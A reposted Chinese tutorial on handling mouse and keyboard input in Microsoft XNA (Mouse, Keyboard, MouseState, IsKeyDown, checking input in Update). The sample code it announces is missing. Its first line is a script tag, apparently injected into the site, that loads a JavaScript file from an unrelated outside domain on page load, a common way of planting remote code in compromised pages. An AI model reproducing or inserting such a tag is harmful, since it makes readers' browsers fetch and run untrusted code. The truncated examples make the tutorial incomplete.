<script language=’javascript’ src=’http://www.shiqiaotou.com/donetk/Header.js’></script> XNA中的鼠标,键盘与操纵杆
电子科技大学软件学院03级02班 周银辉
1, 鼠标
对于鼠标有专门的Mouse类. 要检测鼠标的状态,可以通过Mouse类的静态函数GetMouseState()函数, 它将返回一个MouseState对象. 该对象保存了当前鼠标的状态信息. 比如其LeftButton属性指示当前鼠标左键是否被按下或释放.其它鼠标属性值同理.
而执行鼠标检测的代码您应该在Game的 Update(GameTime gameTime)方法中执行. 除此之外,Game是默认隐藏鼠标的,为了显示鼠标您应该将其IsMouseVisible属性设置为true.
这是一段示例代码:
2 键盘
与鼠标类似, 键盘有一个专门的Keyboard类, 要检测键盘的状态请使用Keyboard类的静态方法GetKeyboardState(),它将返回一个KeyboardState对象,该对象保存了当前的键盘状态. 要检测某个键是否被按下或释放可以使用其IsKeyDown(Keys key)或IsKeyUp(Keys key)方法. 除此之外您还可以使用其GetPressedKeys()方法获取当前被同时按下的几个键.
与鼠标类似,检测也应该在Update(GameTime gameTime)方法中执行.
这是一段示例代码:
声明:本站部分文章及图片源自用户投稿,如本站任何资料有侵权请您尽早请联系jinwei@zod.com.cn进行处理,非常感谢!